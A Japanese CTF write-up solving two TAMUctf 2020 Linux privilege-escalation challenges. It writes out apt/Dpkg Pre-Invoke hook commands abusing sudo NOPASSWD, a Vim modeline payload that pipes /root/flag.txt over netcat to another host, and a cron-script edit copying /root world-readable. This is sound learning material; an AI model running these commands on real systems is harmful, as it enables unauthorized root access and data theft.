Linux Privilege Escalation
特定のマシンでArbitary Code Executionがuser
権限でできる時、なんとかしてroot
権限でのコマンド実行可能にすることをPrivilege Escalation
という。具体的な方法は多岐に渡るがこのような記事にあるように特定のマシン内の情報(OS, command, 権限, etc...)をひたすらに集めて脆弱性のある部分を探し、それに適した攻撃法を調べ、それを適用するのが基本的な方針となる。なんでもありな分それぞれの攻撃や脆弱性の理解には難しい部分がありつつも抽象化すると手順は意外とシンプルになる(らざるを得ない)。
TAMUctf 2020で自分が解いた範囲でLinux Privilege Execution
の問題が2つあったのでこの記事にまとめる。
実践(Writeup)
Linux Privilege Escalationにはまず user
権限で対象のマシンでのコマンドが実行できる必要がある。
Obituary
では以前記事にしたVim
のCVE-2019-12735
脆弱性を、MY FIRST BLOG
ではnostromo
のCVE-2019-16278
脆弱性を利用してRCEが実行できる(PoCはこれを利用した)。以下何を実行しているのか分かりやすいようにそれぞれのPoCを利用した上でマシン上で実行されるコマンドとその結果についてのみ考える。RCEについてのPoC利用部分は省略する。
TAMUctf: Obituary-2
問題環境 TAMUctf 2020: Obituary
Hey, shoot me over latest version of the code. I have a simple nc session up, just pass it over when you're ready.
You're using vim, right? You should use it; it'll change your life. I basically depend on it for everything these days!
NOTE: This challenge is two parts. Flag one belongs to mwazoski. Flag two belongs to root.
$ id
uid=1000(mwazowski) gid=1000(mwazowski) groups=1000(mwazowski)
$ ls ~/
flag.txt (obtuary_1のフラグ)
manually_installed_packages.txt
note_to_self.txt
$ cat ~/note_to_self.txt
Apparently my packages are out of date. ITSEC is really throwing a fit about me
needing to update since red team popped my box.
I'm sending them my installed packages. I have no idea how these guys got root
on my machine, my password is like 60 characters long. The only thing I have
as nopasswd is apt, which I just use for updates anyway.
$ cat ~/manually_installed_packages.txt
libgpm2
libtinfo5
lsb-base
netcat
python3
screen
socat
sudo
vim
vim-common
vim-runtime
wget
xxd
以上から得られるヒント
The only thing I have as nopasswd is apt, which I just use for updates anyway.
apt
の実行がパスワードなしで実行できるようになっている模様。
ヒントがなかった場合でも以下から確認できる。
$ sudo -l
Matching Defaults entries for mwazowski on 752d3ba120c0:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User mwazowski may run the following commands on 752d3ba120c0:
(root) NOPASSWD: /usr/bin/apt
apt を経由したLinux Privilege Escalation
apt privilege escalation
で検索すると以下のような形で実行の前後にhookしてコマンドを挟むことでapt
の実行権限(すなわちroot
)で挟んだコマンドの実行が可能になるようだ。(参考: Linux Privilege Escalation – Using apt-get/apt/dpkg to abuse sudo “NOPASSWD” misconfiguration)
$ sudo apt-get update -o APT::Update::Pre-Invoke::= /bin/bash
$ sudo apt-get update -o APT::Update::Post-Invoke::= /bin/bash
$ sudo apt-get update -o DPkg::Pre-Invoke::= /bin/bash
今回もこれを利用しようと考えたが、対象環境はインターネットに繋がっていない為apt udpate
がhookコマンドの実行前にError終了してしまう。
上の例のオプションの指定の仕方を見ると三つ目の方法ならupdate
に限らずdpkg
周辺のコマンド実行時にhookを仕込めると踏み調べてみると予想通りだった。
インターネットアクセスが必要なさそうなpurge
で上記の~/manually_installed_packages.txt
に記載されているpackageを指定すると無事hookしたコマンドの実行が確認できた(がpurgeも成功してしまってこの攻撃の根幹のセッションを構成しているnetcat
等を指定したらその後の攻撃が出来なくなっていたかもしれない)。
攻撃の構築
以上の調査から最終的に以下のようにして秘匿情報(/root/flag.txt
)を取得した。
:!sudo apt purge -y -o Dpkg::Pre-Invoke::="cat /root/flag.txt;false" xxd 2>&1 | nc 172.30.0.14 4444 ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt=
$ nc 172.30.0.2 4321 < PoC.txt
(事前に起動済み)$ nc -vkl 4444
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.
Reading package lists...
Building dependency tree...
Reading state information...
The following packages were automatically installed and are no longer required:
libpcre2-8-0 libpsl5 publicsuffix
Use 'sudo apt autoremove' to remove them.
The following packages will be REMOVED:
vim* vim-common* xxd*
gigem{y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r}
0 upgraded, 0 newly installed, 3 to remove and 0 not upgraded.
After this operation, 3400 kB disk space will be freed.
E: Problem executing scripts DPkg::Pre-Invoke 'cat /root/flag.txt;false'
E: Sub-process returned an error code
/root/flag.txt
の内容は上記の出力のgigem{y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r}
部分となる。(CVE-2019-12735のPoCについては以前の記事に詳細あり)
今回の警句は
y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r
-> you would think people would know better.
~/note_to_self.txt
に書いてあった以下の部分を皮肉ったものだった。面白い。
I have no idea how these guys got root
on my machine, my password is like 60 characters long.
TAMUctf: MY FIRST BLOG
問題環境 TAMUctf 2020: MY FIRST BLOG
Here is a link to my new blog! I read about a bunch of exploits in common server side blog tools so I just decided to make my website static. Hopefully that should keep it secure.
対象の構成
172.30.0.2にHugo
を利用して生成された静的サイトがnostromo
サーバーを利用して設置されている。
$ nmap -A 172.30.0.2
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-20 21:07 JST
Nmap scan report for 172.30.0.2
Host is up (0.14s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http nostromo 1.9.6
|_http-generator: Hugo 0.54.0
|_http-server-header: nostromo 1.9.6
|_http-title: My first blog!
調査(Enumeration)
今回は先ほどと違いLinux Privilege Escalation
に利用出来る候補のファイルがあるわけではないので可能性のあるものを片っ端から列挙していく。
調べるとEnumeration用scriptはいくつかヒットするが、どれも得られる情報量に大差なさそうだったのであまり環境に左右されなそうなシェルスクリプトで用意されているLinEnumを利用した。
対象マシンはインターネットアクセスは無いがインターネットアクセスがあり、/tmp
へのファイルの配置が可能だったのでnc
を利用して送られてきたものを/tmp/LinEnum.sh
として書き出すようにサーバーを立て、scriptを送り込み確認した。
LinEnum.sh
の出力には大量の情報が列挙される。cron
の部分で/usr/bin/healthcheck
がroot
で走っていることがわかる。
$ sh /tmp/LinEnum.sh
...
-e ### JOBS/TASKS ##########################################
-e [-] Cron jobs:
-rw-r--r-- 1 root root 758 Mar 20 08:06 /etc/crontab
/etc/cron.d:
total 12
drwxr-xr-x 2 root root 4096 Mar 20 08:06 .
drwxr-xr-x 1 root root 4096 Mar 21 04:01 ..
-rw-r--r-- 1 root root 102 Nov 16 2017 .placeholder
/etc/cron.daily:
total 24
drwxr-xr-x 1 root root 4096 Mar 20 08:06 .
drwxr-xr-x 1 root root 4096 Mar 21 04:01 ..
-rw-r--r-- 1 root root 102 Nov 16 2017 .placeholder
-rwxr-xr-x 1 root root 1478 Apr 20 2018 apt-compat
-rwxr-xr-x 1 root root 1176 Nov 2 2017 dpkg
-rwxr-xr-x 1 root root 249 Jan 25 2018 passwd
/etc/cron.hourly:
total 12
drwxr-xr-x 2 root root 4096 Mar 20 08:06 .
drwxr-xr-x 1 root root 4096 Mar 21 04:01 ..
-rw-r--r-- 1 root root 102 Nov 16 2017 .placeholder
/etc/cron.monthly:
total 12
drwxr-xr-x 2 root root 4096 Mar 20 08:06 .
drwxr-xr-x 1 root root 4096 Mar 21 04:01 ..
-rw-r--r-- 1 root root 102 Nov 16 2017 .placeholder
/etc/cron.weekly:
total 12
drwxr-xr-x 2 root root 4096 Mar 20 08:06 .
drwxr-xr-x 1 root root 4096 Mar 21 04:01 ..
-rw-r--r-- 1 root root 102 Nov 16 2017 .placeholder
-e
-e [-] Crontab contents:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /usr/bin/healthcheck
-e
...
さらに/usr/bin/healthchek
はuser-writableであることがわかる。
$ ls -la /usr/bin/healthcheck
-rwxrwxrwx 1 root root 98 Mar 19 18:41 /usr/bin/healthcheck
攻撃の構築
以上から/usr/bin/healthcheck
にコマンドを追記すればcron
経由でroot
で実行されることがわかったので以下のように/root
を読めるように/tmp
にコピー。
#!/bin/bash
nc -z localhost 80
if [ $? == 1 ]; then
echo "nhttpd is dead, restarting."
nhttpd
fi
#以下を追記
cp -r /root /tmp/root
chmod -R 777 /tmp/root
コピーしてきたディレクトリに欲しい秘匿情報(flag.txt
)が取得できた。
$ ls -la /tmp/root
drwxrwxrwx 3 root root 4096 Mar 21 06:11 .
drwxrwxrwt 1 root root 4096 Mar 21 06:17 ..
-rwxrwxrwx 1 root root 3106 Mar 21 06:10 .bashrc
-rwxrwxrwx 1 root root 148 Mar 21 06:10 .profile
-rwxrwxrwx 1 root root 29 Mar 21 06:10 flag.txt
$ cat /tmp/root/flag.txt
gigem{l1m17_y0ur_p3rm15510n5}
今回の警句は
l1m17_y0ur_p3rm15510n5
-> limit your permission
/usr/bin/healthcheck
の権限を適切に(せめてnon-writableに)すれば良かったということだろう。
感想
Linux Privilege Escalation
はこのTAMUctfで初めてある程度体系的に調べ実際に以上2つの構成で攻撃を試みたが、misconfigurationなものが一つでも存在すれば思ったより簡単に達成できてしまうことがわかった。調べた範囲では典型的なLinux Privilege Execution
の例にはKernel exploitやSUID commandを利用したもの等もあったので今度挑戦してみようと思う。